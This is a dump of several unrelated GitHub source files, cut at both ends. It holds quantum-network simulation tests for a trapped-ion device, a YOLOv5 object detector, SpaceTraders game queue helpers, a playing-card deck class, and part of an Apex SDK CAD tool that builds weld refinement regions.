qubit_mapping=qubit_indices,\n theta=np.pi * 2, phi=phi)\n ns.sim_run()\n self.qresult = qapi.reduced_dm(ion_trap.peek(qubit_indices))\n self.check_close()\n\n\nclass TestIonTrapMSGate(TestIonTrap):\n\n def setUp(self) -> None:\n super().setUp()\n self.qubit_test_numbers = [2, 4, 6, 8]\n\n def one_qubit(self, noiseless=True):\n \"\"\"Check if we apply our gate it doesn't change that much. I think.\"\"\"\n ms_depolar_prob = 0 if noiseless else 0.01\n ion_trap = IonTrap(num_positions=1, ms_optimization_angle=np.pi * 8, ms_depolar_prob=ms_depolar_prob)\n ion_trap.add_instruction(INSTR_INIT_RANDOM, duration=0)\n ms_gate = IonTrapMSGate(num_positions=1, theta=np.pi * 8)\n for _ in range(self.ntry):\n ion_trap.execute_instruction(INSTR_INIT_RANDOM, standard_states=True)\n ns.sim_run()\n self.qref = deepcopy(qapi.reduced_dm(ion_trap.peek([0])))\n ion_trap.execute_instruction(ms_gate, [0], phi=np.pi / 4)\n ns.sim_run()\n self.qresult = qapi.reduced_dm(ion_trap.peek([0]))\n self.check_equal() if noiseless else self.check_close()\n\n def test_one_qubit_noiseless(self):\n self.one_qubit(noiseless=True)\n\n def test_one_qubit_noisy(self):\n self.one_qubit(noiseless=False)\n\n def test_fully_entangling(self):\n for num_qubits in self.qubit_test_numbers:\n # Create fully entangled state manually\n qubits = qapi.create_qubits(num_qubits)\n qapi.operate([qubits[0]], ops.H)\n for qubit in qubits[1:]:\n qapi.operate([qubits[0], qubit], ops.CNOT)\n self.qref = qapi.reduced_dm(qubits)\n\n # Create fully entangled state using a program\n qubit_indices = list(range(num_qubits))\n ion_trap = IonTrap(num_positions=num_qubits, ms_optimization_angle=np.pi / 2)\n ms_gate = IonTrapMSGate(num_positions=num_qubits, theta=np.pi / 2)\n\n prog = QuantumProgram(num_qubits=num_qubits)\n for qubit in qubit_indices:\n prog.apply(instruction=INSTR_INIT, qubit_indices=[qubit])\n # We choose a smart phi so we always end up in the GHZ state.\n # TODO: Figure out why this doesn't coincide with literature.\n prog.apply(ms_gate, qubit_indices=qubit_indices, phi=np.pi / 2 - np.pi / (2 * num_qubits))\n ion_trap.execute_program(prog)\n ns.sim_run()\n self.qresult = qapi.reduced_dm(ion_trap.peek(qubit_indices))\n self.check_equal()\n\n\nclass TestIInitRandom(unittest.TestCase):\n \"\"\"\n Test behaviour of the random instruction\n \"\"\"\n\n def setUp(self) -> None:\n ns.sim_reset()\n\n def tearDown(self) -> None:\n ns.sim_stop()\n\n def test_create_0_qubits(self):\n \"\"\"It should fail when we have no positions available\"\"\"\n ion_trap = IonTrap(num_positions=-1) # with 0, there is still an emission position\n ion_trap.add_instruction(INSTR_INIT_RANDOM, duration=0)\n self.assertRaises(ValueError, ion_trap.execute_instruction, INSTR_INIT_RANDOM, standard_states=True)\n\n def test_create_1_qubits(self):\n \"\"\"We should occupy the state when we are done\"\"\"\n ion_trap = IonTrap(num_positions=1)\n ion_trap.add_instruction(INSTR_INIT_RANDOM, duration=0)\n ion_trap.execute_instruction(INSTR_INIT_RANDOM, standard_states=True)\n ns.sim_run()\n self.assertTrue(ion_trap.get_position_used())\n\n ion_trap.reset()\n # ion_trap = create_ion_trap(num_positions=1)\n # ion_trap.add_instruction(INSTR_INIT_RANDOM, duration=0)\n ion_trap.execute_instruction(INSTR_INIT_RANDOM, standard_states=False)\n ns.sim_run()\n self.assertTrue(ion_trap.get_position_used())\n\n def test_create_n_qubits(self):\n \"\"\"We should occupy all the states in the memory\"\"\"\n for n in [2, 3, 4, 10]:\n ion_trap = IonTrap(num_positions=n)\n ion_trap.add_instruction(INSTR_INIT_RANDOM, duration=0)\n ion_trap.execute_instruction(INSTR_INIT_RANDOM, standard_states=True)\n ns.sim_run()\n self.assertTrue(ion_trap.get_position_used())\n # ion_trap = create_ion_trap(num_positions=n)\n ion_trap.reset()\n ion_trap.execute_instruction(INSTR_INIT_RANDOM, standard_states=False)\n ns.sim_run()\n for i in range(n):\n self.assertTrue(ion_trap.get_position_used(i))\n\n def test_fair_distribution(self):\n \"\"\"The distribution of the standard states should be uniform on average\"\"\"\n states = []\n ion_trap = IonTrap(num_positions=1)\n ion_trap.add_instruction(INSTR_INIT_RANDOM, duration=0)\n for i in range(1000):\n ion_trap.execute_instruction(INSTR_INIT_RANDOM, standard_states=True)\n ns.sim_run()\n qubit = ion_trap.peek(0)\n states.append(qubit[0].qstate.dm)\n dm = np.mean(states, axis=0)\n dm_error = np.std(states, axis=0) / np.sqrt(len(states))\n # check if we get maximally mixed state up to 3 standard deviations of the mean\n self.assertAlmostEqual(dm[0][0], .5, delta=3 * dm_error[0][0])\n self.assertAlmostEqual(dm[0][1], 0, delta=3 * dm_error[0][0])\n\n\nclass TestIInitBell(unittest.TestCase):\n\n def setUp(self) -> None:\n ns.sim_reset()\n self.ion_trap = IonTrap(num_positions=2)\n self.ion_trap.add_instruction(instruction=INSTR_INIT_BELL, duration=0)\n self.q1, self.q2 = qapi.create_qubits(2)\n ns.qubits.operate(self.q1, ops.H)\n ns.qubits.operate([self.q1, self.q2], ops.CNOT)\n\n def tearDown(self) -> None:\n ns.sim_run()\n dm_ref = qapi.reduced_dm([self.q1, self.q2])\n dm_ion_trap = qapi.reduced_dm(self.ion_trap.peek([0, 1]))\n np.testing.assert_array_equal(dm_ref, dm_ion_trap)\n ns.sim_stop()\n\n def test_phiplus(self):\n self.ion_trap.execute_instruction(INSTR_INIT_BELL, bell_index=BellIndex.PHI_PLUS)\n\n def test_psiplus(self):\n self.ion_trap.execute_instruction(INSTR_INIT_BELL, bell_index=BellIndex.PSI_PLUS)\n ns.qubits.operate(self.q2, ops.X)\n\n def test_phimin(self):\n self.ion_trap.execute_instruction(INSTR_INIT_BELL, bell_index=BellIndex.PHI_MINUS)\n ns.qubits.operate(self.q2, ops.Z)\n\n def test_psimin(self):\n self.ion_trap.execute_instruction(INSTR_INIT_BELL, bell_index=BellIndex.PSI_MINUS)\n ns.qubits.operate(self.q2, ops.Z)\n ns.qubits.operate(self.q2, ops.X)\n\n\nclass TestIonTrapZRotation(TestIonTrap):\n \"\"\"\n This test is just a sanity check, but doesn't actually check anything.\n \"\"\"\n\n def test_full_rotation(self):\n \"\"\"\n Check if we get back to the start for a theta=2pi rotation for any random phi.\n Also check if we split the rotation into multiple parts.\n \"\"\"\n for num_qubits in self.qubit_test_numbers:\n qubit_indices = list(range(num_qubits))\n ion_trap = IonTrap(num_positions=num_qubits)\n ion_trap.add_instruction(INSTR_INIT_RANDOM, duration=0)\n for steps in [1, 3, 6]:\n for _ in range(self.ntry):\n prog = QuantumProgram(num_qubits=num_qubits)\n for qubit in range(num_qubits):\n for _ in range(0, steps):\n prog.apply(instruction=INSTR_ROT_Z, qubit_indices=[qubit], angle=np.pi * 2 / steps)\n ion_trap.execute_instruction(instruction=INSTR_INIT_RANDOM,\n qubit_mapping=qubit_indices, standard_states=True)\n ns.sim_run()\n self.qref = deepcopy(qapi.reduced_dm(ion_trap.peek(qubit_indices)))\n ion_trap.execute_program(prog)\n ns.sim_run()\n self.qresult = qapi.reduced_dm(ion_trap.peek(qubit_indices))\n self.check_equal()\n\n def test_noise(self):\n ion_trap = IonTrap(num_positions=1, rot_z_depolar_prob=0.01)\n ion_trap.execute_instruction(INSTR_INIT, [0])\n ns.sim_run()\n self.qref = deepcopy(qapi.reduced_dm(ion_trap.peek([0])))\n ion_trap.execute_instruction(INSTR_ROT_Z, [0], angle=np.pi * 2)\n ns.sim_run()\n self.qresult = qapi.reduced_dm(ion_trap.peek([0]))\n self.check_close()\n\n def test_half_rotation(self):\n ion_trap = IonTrap(num_positions=1)\n self.qref = [[0, 0], [0, 1]]\n qubit = qapi.create_qubits(1)\n qapi.operate(qubits=qubit, operator=ops.H)\n ion_trap.put(qubit)\n ion_trap.execute_instruction(INSTR_ROT_Z, [0], angle=np.pi)\n ns.sim_run()\n qapi.operate(qubits=qubit, operator=ops.H)\n self.qresult = qapi.reduced_dm(qubit)\n self.check_equal()\n\n\nclass TestIonTrapEmission(unittest.TestCase):\n \"\"\"\n This test check that when ions emit photons, this happens with a success chance between zero and one,\n and that the photon and ion have fidelity>0.5 to the phi+ Bell state.\n \"\"\"\n\n @classmethod\n def setUpClass(cls) -> None:\n ns.qubits.qformalism.set_qstate_formalism(ns.qubits.qformalism.QFormalism.DM)\n ns.sim_reset()\n cls.name = \"ion_trap\"\n cls.expected_meta = {\"source\": cls.name}\n cls.number_of_times = 10\n\n def emit(self, number_of_times, ion, fidelity, collection_efficiency):\n \"\"\"\n Returns a list with the fidelity of each successful emission. The number of successes is the length of the list.\n \"\"\"\n\n # setup ion trap\n ion_trap = IonTrap(num_positions=1, collection_efficiency=collection_efficiency, emission_fidelity=fidelity)\n ion_trap.name = self.name\n\n fidelities = []\n\n for _ in range(number_of_times):\n\n # initialize memory in specified state\n [ion_instantiation] = qapi.create_qubits(1)\n ion_state = ion.qstate.dm.copy()\n qapi.assign_qstate([ion_instantiation], ion_state)\n ion_trap.put(ion_instantiation, positions=0)\n\n # execute emission\n ion_trap.execute_instruction(INSTR_EMIT, [0, ion_trap.emission_position])\n ns.sim_run()\n\n # receive and check message\n message = ion_trap.ports[\"qout\"].rx_output()\n self.assertTrue(self.expected_meta.items() <= message.meta.items())\n self.assertEqual(len(message.items), 1)\n\n # check if a qubit was emitted and whether the state has the specified fidelity\n photon = message.items[0]\n if photon.qstate is not None:\n fidelities.append(qapi.fidelity([ion_instantiation, photon], ketstates.b00, squared=True))\n\n ion_trap.reset()\n ns.sim_reset()\n\n return fidelities\n\n def test_fidelity(self):\n\n for emission_fidelity in np.linspace(start=0.25, stop=1, num=10):\n [ion] = qapi.create_qubits(1)\n observed_fidelity = self.emit(number_of_times=1, ion=ion, fidelity=emission_fidelity,\n collection_efficiency=1)\n self.assertEqual(len(observed_fidelity), 1)\n self.assertAlmostEqual(emission_fidelity, observed_fidelity[0])\n\n def test_perfect_emission(self):\n\n [ion] = qapi.create_qubits(1)\n num_suc = len(self.emit(number_of_times=self.number_of_times, ion=ion, fidelity=1, collection_efficiency=1))\n self.assertEqual(num_suc, self.number_of_times)\n\n def test_zero_collection_efficiency(self):\n\n [ion] = qapi.create_qubits(1)\n num_suc = len(self.emit(number_of_times=self.number_of_times, ion=ion, fidelity=1, collection_efficiency=0))\n self.assertEqual(num_suc, 0)\n\n def test_half_collection_efficiency(self):\n\n [ion] = qapi.create_qubits(1)\n num_suc = len(self.emit(number_of_times=self.number_of_times, ion=ion, fidelity=1, collection_efficiency=.5))\n self.assertNotEqual(num_suc, 0)\n self.assertNotEqual(num_suc, self.number_of_times)\n\n def test_ion_unavailable(self):\n\n [ion] = qapi.create_qubits(1)\n qapi.operate(ion, ops.X)\n num_suc = len(self.emit(number_of_times=self.number_of_times, ion=ion, fidelity=1, collection_efficiency=1))\n self.assertEqual(num_suc, 0)\n\n def test_half_ion_unavailable(self):\n\n [ion] = qapi.create_qubits(1)\n qapi.operate(ion, ops.H)\n num_suc = len(self.emit(number_of_times=self.number_of_times, ion=ion, fidelity=1, collection_efficiency=1))\n self.assertNotEqual(num_suc, 0)\n self.assertNotEqual(num_suc, self.number_of_times)\n\n\nclass TestIonTrapMSGatePhi(unittest.TestCase):\n \"\"\"\n This test makes sure the rotation of the MS gate is correct for two qubits.\n \"\"\"\n\n def setUp(self) -> None:\n ns.sim_reset()\n self.MS_GATE = IonTrapMSGate(2)\n self.MS_GATE.construct_operator(phi=np.pi / 2)\n\n def tearDown(self) -> None:\n ns.sim_stop()\n\n def test_S00(self):\n # Test 1: S00 -> S00 + i S11\n qubits = create_qubits(2)\n state = (ketstates.s00 + 1j * ketstates.s11) / np.sqrt(2)\n operate(qubits, self.MS_GATE._operator)\n self.assertAlmostEqual(fidelity(qubits, state), 1)\n\n def test_S01(self):\n # Test 2: S01 -> S01 - i S10\n qubits = create_qubits(2)\n operate(qubits[1], ops.X)\n state = (ketstates.s01 - 1j * ketstates.s10) / np.sqrt(2)\n operate(qubits, self.MS_GATE._operator)\n self.assertAlmostEqual(fidelity(qubits, state), 1)\n\n def test_S10(self):\n # Test 3: S10 -> S10 - i S01\n qubits = create_qubits(2)\n operate(qubits[0], ops.X)\n state = (ketstates.s10 - 1j * ketstates.s01) / np.sqrt(2)\n operate(qubits, self.MS_GATE._operator)\n self.assertAlmostEqual(fidelity(qubits, state), 1)\n\n def test_S11(self):\n # Test 4: S11 -> S11 + i S00\n qubits = create_qubits(2)\n operate(qubits[0], ops.X)\n operate(qubits[1], ops.X)\n state = (ketstates.s11 + 1j * ketstates.s00) / np.sqrt(2)\n operate(qubits, self.MS_GATE._operator)\n self.assertAlmostEqual(fidelity(qubits, state), 1)\n\n\nclass TestEmissionPositionExclusion(unittest.TestCase):\n \"\"\"Test whether instructions involving ion trap's auxiliary emission position are forbidden.\"\"\"\n\n @classmethod\n def setUpClass(cls) -> None:\n ns.sim_reset()\n cls.small_ion_trap = IonTrap(num_positions=1)\n cls.small_ms_gate = IonTrapMSGate(num_positions=cls.small_ion_trap.num_ions,\n theta=cls.small_ion_trap.properties[\"ms_optimization_angle\"])\n cls.large_ion_trap = IonTrap(num_positions=5)\n cls.large_ms_gate = IonTrapMSGate(num_positions=cls.large_ion_trap.num_ions,\n theta=cls.large_ion_trap.properties[\"ms_optimization_angle\"])\n\n def setUp(self) -> None:\n self.small_ion_trap.execute_instruction(instruction=INSTR_INIT, qubit_mapping=[0])\n self.large_ion_trap.execute_instruction(instruction=INSTR_INIT, qubit_mapping=[0, 1, 2, 3, 4])\n ns.sim_run()\n\n def try_instr(self, instruction, num_positions):\n failed = False\n try:\n if num_positions == 1:\n self.small_ion_trap.execute_instruction(instruction=instruction,\n qubit_mapping=[self.small_ion_trap.emission_position])\n self.large_ion_trap.execute_instruction(instruction=instruction,\n qubit_mapping=[self.large_ion_trap.emission_position])\n elif num_positions == 2:\n self.small_ion_trap.execute_instruction(instruction=instruction,\n qubit_mapping=[0, self.small_ion_trap.emission_position])\n self.large_ion_trap.execute_instruction(instruction=instruction,\n qubit_mapping=[0, self.large_ion_trap.emission_position])\n ns.sim_run()\n self.large_ion_trap.execute_instruction(instruction=instruction,\n qubit_mapping=[self.large_ion_trap.emission_position - 1,\n self.large_ion_trap.emission_position])\n elif num_positions == \"all\":\n self.small_ion_trap.execute_instruction(instruction=instruction,\n qubit_mapping=list(range(self.small_ion_trap.num_positions)))\n self.large_ion_trap.execute_instruction(instruction=instruction,\n qubit_mapping=list(range(self.large_ion_trap.num_positions)))\n else:\n raise ValueError(\"try_instr only works for one and two qubit gates.\")\n ns.sim_run()\n except MissingInstructionError:\n failed = True\n self.assertTrue(failed)\n\n def test_init(self):\n self.try_instr(instruction=INSTR_INIT, num_positions=1)\n self.try_instr(instruction=INSTR_INIT, num_positions=2)\n self.try_instr(instruction=INSTR_INIT, num_positions=\"all\")\n\n def test_meas(self):\n self.try_instr(instruction=INSTR_MEASURE, num_positions=1)\n\n def test_z_rot(self):\n self.try_instr(instruction=INSTR_ROT_Z, num_positions=1)\n\n def test_ms_gate(self):\n failed = False\n try:\n self.small_ion_trap.execute_instruction(instruction=self.small_ms_gate,\n qubit_mapping=list(range(0, self.small_ion_trap.num_positions)))\n self.large_ion_trap.execute_instruction(instruction=self.large_ms_gate,\n qubit_mapping=list(range(0, self.large_ion_trap.num_positions)))\n ns.sim_run()\n self.small_ion_trap.execute_instruction(instruction=self.small_ms_gate,\n qubit_mapping=list(range(1, self.small_ion_trap.num_positions)))\n self.large_ion_trap.execute_instruction(instruction=self.large_ms_gate,\n qubit_mapping=list(range(1, self.large_ion_trap.num_positions)))\n ns.sim_run()\n except MissingInstructionError:\n failed = True\n self.assertTrue(failed)\n\n def test_multi_qubit_xy_rotation(self):\n failed = False\n try:\n self.small_ion_trap.execute_instruction(instruction=IonTrapMultiQubitRotation(self.small_ion_trap.num_ions),\n qubit_mapping=list(range(0, self.small_ion_trap.num_positions)))\n self.large_ion_trap.execute_instruction(instruction=IonTrapMultiQubitRotation(self.large_ion_trap.num_ions),\n qubit_mapping=list(range(0, self.large_ion_trap.num_positions)))\n ns.sim_run()\n self.small_ion_trap.execute_instruction(instruction=IonTrapMultiQubitRotation(self.small_ion_trap.num_ions),\n qubit_mapping=list(range(1, self.small_ion_trap.num_positions)))\n self.large_ion_trap.execute_instruction(instruction=IonTrapMultiQubitRotation(self.large_ion_trap.num_ions),\n qubit_mapping=list(range(1, self.large_ion_trap.num_positions)))\n ns.sim_run()\n except MissingInstructionError:\n failed = True\n self.assertTrue(failed)\n\n def test_emission(self):\n # Note: this test is the exception, as here we test whether execution fails when the emission instruction\n # is excluded rather than included.\n failed = False\n try:\n self.large_ion_trap.execute_instruction(instruction=INSTR_EMIT,\n qubit_mapping=[0, self.large_ion_trap.emission_position - 1])\n ns.sim_run()\n except MissingInstructionError:\n failed = True\n self.assertTrue(failed)\n\n\nclass InitializeAndMeasureProgram(QuantumProgram):\n\n def program(self, init_state):\n q = self.get_qubit_indices(1)\n self.apply(instruction=INSTR_INIT, qubit_indices=q)\n if init_state:\n self.apply(instruction=INSTR_ROT_Z, qubit_indices=q, angle=np.pi)\n self.apply(instruction=INSTR_MEASURE, qubit_indices=q, output_key=\"outcome\")\n\n yield self.run()\n\n\ndef _initialize_and_measure(ion_trap, init_state=0):\n qprogram = InitializeAndMeasureProgram()\n ion_trap.execute_program(qprogram, init_state=init_state)\n ns.sim_run()\n\n return qprogram.output[\"outcome\"][0]\n\n\ndef test_faulty_measurement():\n prob_error_0 = 1.\n prob_error_1 = 0.\n\n ion_trap = IonTrap(num_positions=1, prob_error_0=prob_error_0, prob_error_1=prob_error_1)\n\n for init_state in [0, 1]:\n # 0 measurement is always wrong, 1 is always right, so we always expect 1\n assert _initialize_and_measure(ion_trap, init_state) == 1\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"AshritVerma/netsquid-trappedions","sub_path":"test_instructions.py","file_name":"test_instructions.py","file_ext":"py","file_size_in_byte":26673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"75210788213","text":"import torch\n\nfrom detector import Detector\n\n\nclass YoloDetector(Detector):\n def __init__(self, device, yolo_version, model_weight_path=None):\n super().__init__(device)\n\n self.yolo_version = yolo_version\n self.model = torch.hub.load('ultralytics/yolov5', self.yolo_version, pretrained=True)\n if model_weight_path is not None:\n self.model.load_state_dict(torch.load(model_weight_path, map_location=device))\n\n self.model.to(device)\n self.model.share_memory()\n self.model.eval()\n\n def detect(self, image):\n output = self.model(image)\n df = output.pandas().xyxy[0]\n\n classes = df.loc[:, \"class\"].to_numpy()\n scores = df.loc[:, \"confidence\"].to_numpy()\n bboxes = df.iloc[:, 0:4].to_numpy()\n\n return bboxes, classes, scores\n","repo_name":"EasySocHacks/CCTV-object-projector","sub_path":"backend/detector/yolo_detector.py","file_name":"yolo_detector.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37800722276","text":"# baseclass for any strategy, that describes some shortcut methods\nfrom datetime import datetime\nfrom json import load\nfrom math import dist\nfrom typing import Collection\n\nfrom event_queue import event_queue\nfrom event_queue.queue_event import EventType, QueueEvent\nfrom space_traders_api_client.models import ShipNavFlightMode, Waypoint, WaypointTraitSymbol, ShipCargoItem\n\nRESERVED_ITEMS = {\n \"ANTIMATTER\": True\n}\n\n\ndef queue_create_survey(ship_symbol: str, when: datetime | None = None):\n if when is not None:\n events = event_queue.new_events_from(\n (EventType.SHIP, \"orbit\", [ship_symbol]),\n (EventType.SHIP, \"survey\", [ship_symbol])\n )\n event_queue.schedule(when, events)\n return\n\n # make sure we are in orbit (slightly suboptimal, wastes rps if we are already orbiting)\n event_queue.put(EventType.SHIP, \"orbit\", [ship_symbol])\n event_queue.put(EventType.SHIP, \"survey\", [ship_symbol, ])\n\n\ndef __when_handler(event: QueueEvent, when: datetime | None = None):\n if when is not None:\n event_queue.schedule(when, event)\n else:\n event_queue.put(event=event)\n\n\ndef queue_dock(ship_symbol: str, when: datetime | None = None):\n event = event_queue.new_event(\n EventType.SHIP, \"dock\", [ship_symbol]\n )\n __when_handler(event, when)\n\n\ndef queue_orbit(ship_symbol: str, when: datetime | None = None):\n event = event_queue.new_event(\n EventType.SHIP, \"orbit\", [ship_symbol]\n )\n __when_handler(event, when)\n\n\ndef queue_refuel(ship_symbol: str, when: datetime | None = None):\n event = event_queue.new_event(\n EventType.SHIP, \"refuel\", [ship_symbol]\n )\n __when_handler(event, when)\n\n\ndef queue_navigate(ship_symbol: str, waypoint: str, when: datetime | None = None,\n record_to: dict[int, str] | None = None):\n event = event_queue.new_event(\n EventType.SHIP, \"navigate\", [ship_symbol, waypoint]\n )\n __when_handler(event, when)\n if record_to is not None:\n record_to[event.id] = ship_symbol\n\n\ndef queue_sell_cargo(ship_symbol: str, resource_symbol: str, units: int, when: datetime | None = None):\n event = event_queue.new_event(\n EventType.SHIP, \"sell_cargo_item\", [ship_symbol, resource_symbol, units]\n )\n __when_handler(event, when)\n\n\ndef queue_buy_cargo(ship_symbol: str, resource_symbol: str, units: int, when: datetime | None = None):\n event = event_queue.new_event(\n EventType.SHIP, \"buy_cargo_item\", [ship_symbol, resource_symbol, units]\n )\n __when_handler(event, when)\n\n\ndef queue_flight_mode(ship_symbol: str, flight_mode: ShipNavFlightMode, when: datetime | None = None):\n event = event_queue.new_event(\n EventType.SHIP, \"flight_mode\", [ship_symbol, flight_mode]\n )\n __when_handler(event, when)\n\n\ndef queue_fetch_system_waypoints(ship_symbol: str, system_symbol: str, when: datetime | None = None,\n record_to: dict[int, str] | None = None):\n event = event_queue.new_event(\n EventType.SYSTEM, \"system_waypoints\", [system_symbol]\n )\n __when_handler(event, when)\n if record_to is not None:\n record_to[event.id] = ship_symbol\n\n\ndef queue_fetch_market(waypoint_symbol: str, when: datetime | None = None,\n record_to: dict[int, str] | None = None):\n event = event_queue.new_event(\n EventType.SYSTEM, \"fetch_market\", [waypoint_symbol]\n )\n __when_handler(event, when)\n if record_to is not None:\n record_to[event.id] = waypoint_symbol\n\n\ndef queue_jettison_cargo(ship_symbol: str, resource_symbol: str, units: int, when: datetime | None = None):\n event = event_queue.new_event(\n EventType.SHIP, \"jettison_cargo_item\", [ship_symbol, resource_symbol, units]\n )\n __when_handler(event, when)\n\n\ndef load_system_waypoints(system_name: str) -> list[Waypoint] | None:\n # TODO: this should be handled by the database!!\n try:\n with open(f\"fetched_json_data/waypoints/{system_name}.json\", \"r\") as src:\n return [Waypoint.from_dict(wp) for wp in load(src)]\n except FileNotFoundError:\n return None\n\n\ndef filter_waypoints_by_traits(waypoints: Collection[Waypoint], traits: list[WaypointTraitSymbol]) -> list[Waypoint]:\n required_count = len(traits)\n return [\n wp for wp in waypoints\n if sum(1 for trait in wp.traits if trait.symbol in traits) >= required_count\n ]\n\n\ndef get_nearest_waypoint_from(coords: tuple[int, int], waypoints: Collection[Waypoint]) -> Waypoint | None:\n # build a list of Waypoint - distance to it, sort in asc, return first\n if len(waypoints) == 0:\n return\n\n distances = [\n (wp, dist(coords, (wp.x, wp.y)))\n for wp in waypoints\n ]\n distances.sort(key=lambda entry: entry[1])\n return distances[0][0]\n\n\ndef get_resource_count(inventory: list[ShipCargoItem], resource_name: str):\n return next((item.units for item in inventory if item.symbol == resource_name), 0)\n","repo_name":"SanctusAnimus/space-traders-python-cli","sub_path":"strategies/base_strategy.py","file_name":"base_strategy.py","file_ext":"py","file_size_in_byte":4999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28325724515","text":"import numpy as np\r\n\r\nnumber = [ \"2\" , \"3\" , \"4\" , \"5\" , \"6\" , \"7\" , \"8\", \"9\" , \"10\" , \"J\" , \"Q\", \"K\" , \"A\" ]\r\ncolor = [ \" Spade♠\", \" Heart♥\" , \" Diamond♦\", \" Club♣\" ]\r\nnumber_value = range (13)\r\ncolor_order = range (4)\r\n\r\ncard_set = []\r\n\r\n# card information\r\nclass card:\r\n \r\n def __init__(self, number, number_value, color, color_order, card_number):\r\n self.number = number\r\n self.color = color\r\n self.number_value = number_value\r\n self.color_order = color_order\r\n self.card_number = card_number\r\n \r\n def __str__ (self):\r\n return self.number + self.color\r\n\r\n# create card set\r\nnum = 0\r\nfor n in range(13):\r\n for c in range(4):\r\n cd = card(number[n],number_value[n], color[c], color_order[c], num)\r\n card_set.append (cd)\r\n num = num+1\r\n\r\n\r\nclass cardset:\r\n \r\n def __init__(self):\r\n np.random.shuffle(card_set)\r\n\r\n def draw(self, d):\r\n return card_set[d]\r\n \r\n def gettotaldeck(self):\r\n return card_set\r\n \r\nif __name__ == '__main__':\r\n \r\n gg = cardset()\r\n lista = gg.gettotaldeck()\r\n print(lista[0])\r\n print(lista[0].number_value)\r\n print(lista[0].number_value*lista[0].number_value)\r\n print(lista[0].card_number)","repo_name":"sheepbacon/Texas-Hold-em","sub_path":"Card.py","file_name":"Card.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"11057256245","text":"import sys\nimport os\nimport apex_sdk\nimport clr\n\n# .NET references\nimport System\nfrom System.Windows.Forms import FolderBrowserDialog\nimport System.Windows.Controls as WPFControls\n#from Microsoft.Win32 import FolderBrowserDialog\n\n# Define current file path of example\ncurrent_file_path = os.path.dirname(os.path.realpath(__file__))\n\n\n# Set pre-defined properties of ToolPropertyContainer\ndef getUIContent():\n my_toolProperty = apex_sdk.ToolPropertyContainer()\n\n # Provide an icon and a name for the tool property panel\n # my_toolProperty.TitleImageUriString = os.path.join(os.path.dirname(current_file_path), r\"Icons\\script.png\")\n my_toolProperty.TitleText = \"Create refinement regions\"\n my_toolProperty.WorkFlowInstructions = '''\n

Refinement region

\n

Description: This tool creates a solid body to envelope the selected edge. The idea is to define a refinement region to be used as split location.

\n
    \n
  • Diameter: Define the region diameter
  • \n
  • Extend region: Do an extra push-pull to extend the region beyond the start and end points (capture HAZ better)
  • \n
\n

Workflow:

\n
    \n
  1. Select the edges you want to create trajectories from (one or multiple)
  2. \n
  3. Define the region diameter
  4. \n
  5. Define whether extension is needed
  6. \n
  7. Click create regions
  8. \n
\n

For support: support.americas@simufact.com

\n

\n '''\n\n # Define UI\n my_toolProperty.ToolPropertyContent = getCustomToolPropertyContent()\n\n # Handle apply button (green) click event\n my_toolProperty.AppliedCommand = apex_sdk.ActionCommand(System.Action(HandleApplyButton))\n\n # Define PickFilterList\n my_toolProperty.ShowPickChoice = True\n my_toolProperty.PickFilterList = setPickFilterList()\n\n return my_toolProperty\n\n\n# Set PickFilters\ndef setPickFilterList():\n # Create an empty List of strings\n pickChoices = System.Collections.Generic.List[System.String]()\n\n # Exclusive picking and visibility picking\n pickChoices.Add(apex_sdk.PickFilterTypes.ExclusivePicking)\n pickChoices.Add(apex_sdk.PickFilterTypes.VisibilityPicking)\n\n # Add Types\n #pickChoices.Add(apex_sdk.PickFilterTypes.Part)\n #pickChoices.Add(apex_sdk.PickFilterTypes.Solid)\n #pickChoices.Add(apex_sdk.PickFilterTypes.Surface)\n #pickChoices.Add(apex_sdk.PickFilterTypes.Face)\n #pickChoices.Add(apex_sdk.PickFilterTypes.Cell)\n #pickChoices.Add(apex_sdk.PickFilterTypes.Assembly)\n pickChoices.Add(apex_sdk.PickFilterTypes.Edge)\n pickChoices.Add(apex_sdk.PickFilterTypes.Curve)\n\n # Return the pick filter list\n return pickChoices\n\n\n# Define Layout and Components\ndef getCustomToolPropertyContent():\n # Create a Grid\n my_Grid = WPFControls.Grid()\n\n # Add 2 Rows and 1 Column\n my_Grid.RowDefinitions.Add(WPFControls.RowDefinition())\n my_Grid.RowDefinitions.Add(WPFControls.RowDefinition())\n my_Grid.RowDefinitions.Add(WPFControls.RowDefinition())\n my_Grid.RowDefinitions.Add(WPFControls.RowDefinition())\n my_Grid.RowDefinitions.Add(WPFControls.RowDefinition())\n my_Grid.ColumnDefinitions.Add(WPFControls.ColumnDefinition())\n my_Grid.RowDefinitions.Add(WPFControls.RowDefinition())\n my_Grid.RowDefinitions.Add(WPFControls.RowDefinition())\n my_Grid.RowDefinitions.Add(WPFControls.RowDefinition())\n my_Grid.RowDefinitions.Add(WPFControls.RowDefinition())\n my_Grid.RowDefinitions.Add(WPFControls.RowDefinition())\n my_Grid.RowDefinitions.Add(WPFControls.RowDefinition())\n my_Grid.ColumnDefinitions.Add(WPFControls.ColumnDefinition())\n my_Grid.RowDefinitions.Add(WPFControls.RowDefinition())\n my_Grid.RowDefinitions.Add(WPFControls.RowDefinition())\n #my_Grid.ColumnDefinitions.Add(WPFControls.ColumnDefinition())\n\n currRow = 0\n\n # Create input field\n currRow += 1\n lbl01 = WPFControls.TextBlock()\n lbl01.Text = \"Region diam. (mm):\"\n WPFControls.Grid.SetRow(lbl01, currRow)\n WPFControls.Grid.SetColumn(lbl01, 0)\n\n global input01\n input01 = WPFControls.TextBox()\n WPFControls.Grid.SetRow(input01, currRow)\n WPFControls.Grid.SetColumn(input01, 1)\n\n # Create checkbox to extend the weld bead\n currRow += 1\n global chkBox01\n chkBox01 = WPFControls.CheckBox()\n chkBox01.Content = \"Extend region\"\n chkBox01.Height = 20\n WPFControls.Grid.SetRow(chkBox01, currRow)\n WPFControls.Grid.SetColumn(chkBox01, 1)\n WPFControls.Grid.SetColumnSpan(chkBox01, 2)\n chkBox01.IsChecked = System.Nullable[System.Boolean](True)\n\n # Create a button\n currRow += 2\n goButton = WPFControls.Button()\n goButton.Content = \"Create regions\"\n WPFControls.Grid.SetRow(goButton, currRow)\n 